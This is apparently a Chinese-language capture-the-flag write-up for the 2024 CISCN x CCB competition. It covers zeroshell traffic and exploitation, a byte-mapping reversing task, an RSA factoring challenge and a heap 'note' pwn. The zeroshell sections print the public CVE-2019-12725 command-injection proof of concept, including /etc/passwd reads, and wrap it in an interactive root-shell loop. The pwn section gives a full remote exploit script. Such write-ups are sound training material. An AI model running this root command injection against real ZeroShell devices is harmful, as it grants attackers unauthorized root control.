https://www.a1natas.com/2024-CISCNxCCB/

感觉这次出 cython 真的出到我的盲区了,这次得认真复盘一下,看看分析大件复杂的情况(和编译器斗争)该怎么逆向。然后把这个流量分析和安全漏洞检测这些学一学

zeroshell_1

上网搜索根据 zeroshell 的漏洞

# CVE-2019-12725 - ZeroShell 3.9.0 and below Remote Command Execution as Root (PoC)
# Discovered by: Juan Manuel Fernandez (@TheXC3LL)

import requests
import sys


target = "http://x.x.x.x"
payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id"
poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'"

# Vuln too: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type='%0acat /etc/passwd%0a'
# And: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat /etc/passwd%0a'&PW=
# It the same vuln that https://www.exploit-db.com/exploits/41040 but bypassing the fix using %0a

req = requests.get(target + poc)
print req.text[:req.text.rindex("<html>") / 2]

定位到流量中的字段

cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type

查看 referrence 字段,猜测是 base64

ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zeroshell_2

import requests
import sys
 
 
target = "http://61.139.2.100"
payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=id"
poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'"
 
# Vuln too: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type='%0acat /etc/passwd%0a'
# And: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat /etc/passwd%0a'&PW=
# It the same vuln that https://www.exploit-db.com/exploits/41040 but bypassing the fix using %0a
 
req = requests.get(target + poc)
# print(req.text)
print(req.text[:req.text.rindex("<html>") // 2])
 
def pov(cmd):
    target = "http://61.139.2.100"
    payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='" + cmd+"'"
    poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'"
    req = requests.get(target + poc)
    return req.text[:req.text.rindex("<html>") // 2]
 
while True:
    cmd = input("$ ")
    print(pov(cmd))
 

这样作为 root 权限可以搜索全盘,使用 find 命令可以找到 flag

dump

发现 re.exe 的编码是单映射的,于是将所有的可以显示的字符作为参数传给 re:

./re.exe "123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_abcdefghijklmnopqrstuvwxyz{|}~"

将得到的输出存下,与输入建立一个映射的字典

读取 flag 文件内的字节,将这些字节按照字典翻译出 flag(其中题目要求 00 映射为 4)

脚本如下:

def split_solution(s):
    #创建存放最终结果的列表
    a=[]
    #判断字符串个数情况
    b=len(s)
    if b >=2:
        if b % 2 == 0:
            for i in range(0,b,2):
                a.append(s[i:i+2])
            return a 
        else:
            ss=s+'_'
            for i in range(0,b+1,2):
                a.append(ss[i:i+2])
            return a 
    else:
        if b == 1:
            ss=s+'_'
            for i in range(0,b+1,2):
                a.append(ss[i:i+2])
            return a 
        else:
            return a
        
 
flag = '23 29 1E 24 38 0E 15 20 37 0E 05 20 00 0E 37 12 1D 0F 24 01 01 39'
import os
 
value = '123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_abcdefghijklmnopqrstuvwxyz{|}~'
key = '1c1d000000000000000000000100000002030405060708090a0b0c0d0e0f101112131415161718191a1b00000000001e1f202122232425262728292a2b2c2d2e2f303132333435363738003900'
 
print(len(key))
print(len(value))
assert(len(key) == 2 * len(value))
 
key = split_solution(key)
assert(len(value) == len(key))
 
dic = {}
other = []
for i in range(len(key)):
    k = key[i].lower()
    if (k in dic):
        print('[warn] ' + k + ' has mutiple decode: '  + value[i], dic[k])
        other.append((k, value[i]))
    else:
        dic[k] = value[i]
 
print(other)
 
dic['00'] = '4'
 
flag = flag.split(' ')
for i in flag:
    print(dic[i.lower()], end='')

得到:flag{MTczMDc4MzQ2Ng==}

rasnd

  1. 枚举 ,两个式子相减消去 p,得到一个 mod q==0 的式子,然后和 n 取 gcd 即可
from tqdm import tqdm
from math import gcd
 
n = 13329734490987374586215179593807629586564711538640587374310284110088191449127186589745176357789779956558480604830875944958254023204727472894789263021066682661113171644820155052646314589718777356662821251026781195259880012314148422130289996949655025455850775761590691055492925808476556047117753826436701129327866940329566437091944096203900337552755169376166415469134951487944811802338054329364581587748257106387923959854137187787785057717081763673021194723166953107641934894310830863463601443034150987954911420474201874556947037612706974278211974776796297294092384499705740899445109457258949547440633846918462176481049
c = 6729773236492387878260750286829963397484739718438029594798510771343895299855168799553370031862005444922074375152667622890309388997687893567543705746661742596728400922518846060479807095312408765844385512986506258351965672958186104192415014859150629208588031024434430872340595600322086140693342538445341129122515388083453784679964833752833613270273945126162790474042276549263556519438045639738819878893401343645331028088584582581416004477347875911509075997529496610408343238922204179824705793287079068612979989198431306440719223341720089792130869765197420537966127979846845802803627332442281220083077872919343143483619
hint1 = 189958104033561276138161949323434783593474443419536554681112310072534200012646119674457320717477668414189799034847175661462297022759591896136517021317827363723465915113791142625624201073210941674535050940891999564233190825223668723263023708813876833946176103850304958018306004389553434948017196485995293363409455598367273091850280397510222376
hint2 = 3236290033093817718178936277315295689452367854409001870242788166717406353179314550130266818942997149437122413353005097404026050766875906255065138078791240810338880369943924513651116536746345795490121805390007578530475466357557020071615172398739659584920181116897157000380478457745155686047428844107660838327423468908583857361715205743517941556483528586221643666494083026596592264878394827125108480424986092679366457383866007336701119828047353434308179369249525290
hint1 += 0x114
hint2 += 0x514
a1 = hint1
a2 = hint2
B = 2**11
 
f = 0
for x1 in tqdm(range(B)):
    if f:
        break
    for x2 in range(B):
        m = abs(a1 * x1 - a2 * x2)
        d = gcd(m, n)
        if d != 1 and d != n:
            print(d)
            f = 1
            break
  1. 注意到 pow(a,n - p - q,n) = pow(a,-1,n) 即可
from gmpy2 import iroot
 
t = pow(h, -1, n)
print(t.bit_length())
 
delta = t * t + 4 * 114 * 514 * n
print(iroot(delta, 2))
tmp = iroot(delta, 2)[0]
p = (t + tmp) // (2 * 514)
q = n // p
 
phi = (p - 1) * (q - 1)
 
e = 0x10001
d = pow(e, -1, phi)
m = pow(c, d, n)
from Crypto.Util.number import long_to_bytes
 
long_to_bytes(m)

anote

操作内容

使用 IDA Pro 获取本题反编译信息,使用 pwntool 内的 checksec 等小工具检查可执行文件的安全检查措施

编写 python 脚本, 结合容器地址获取 flag

from pwn import *
from os import system
# def debug(cmd=''):
#     system("gdb --pi={}".format(io.pid))
#     pause()
se      = lambda data           : io.send(data)
sl      = lambda data           : io.sendline(data)
sa      = lambda endstr, data   : io.sendafter(endstr, data)
sla     = lambda endstr, data   : io.sendlineafter(endstr, data)
rc      = lambda num=4096       : io.recv(num)
rl      = lambda                : io.recvline()
ru      = lambda endstr         : io.recvuntil(endstr)
info    = lambda tag, addr         : io.info(tag + ': {:#x}'.format(addr))
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
context.log_level = "debug"
 
# io = process("./note")
io = remote("47.94.202.237", 32865)
elf = ELF("./note")
 
io.recvuntil(b'>>')
io.sendline(b'1') # add
 
io.recvuntil(b'>>')
io.sendline(b'1') # add
 
 
io.recvuntil(b'>>')
io.sendline(b'2')
io.sendlineafter(b'index:', b'0')
io.recvuntil(b'gift: ')
gift1 = int(io.recv(9), 16)
info("gift1: ", gift1)
 
# pause()
 
 
io.recvuntil(b'>>')
io.sendline(b'3') # edit 0 
io.sendlineafter(b'index:', str(0))
io.sendlineafter(b'len', str(40))
io.sendlineafter(b'content:', p32(0x080489CE) + b"a"*20 + p32(gift1 + 8))
 
io.recvuntil(b'>>')
io.sendline(b'2')
io.sendlineafter(b'index:', b'1')
io.recvuntil(b'gift: ')
gift2 = int(io.recv(9), 16)
info("gift2: ", gift2)
 
# 
# pause()
 
io.recvuntil(b'>>')
io.sendline(b'3') # edit 1
io.sendlineafter(b'index:', str(1))
io.sendlineafter(b"len", str(8))
io.sendlineafter(b"content", b'bye')
 
# gdb.attach(io)
 
io.interactive()

flag 值

flag{94d133e5-3c50-4ed5-9eed-6e855172135b}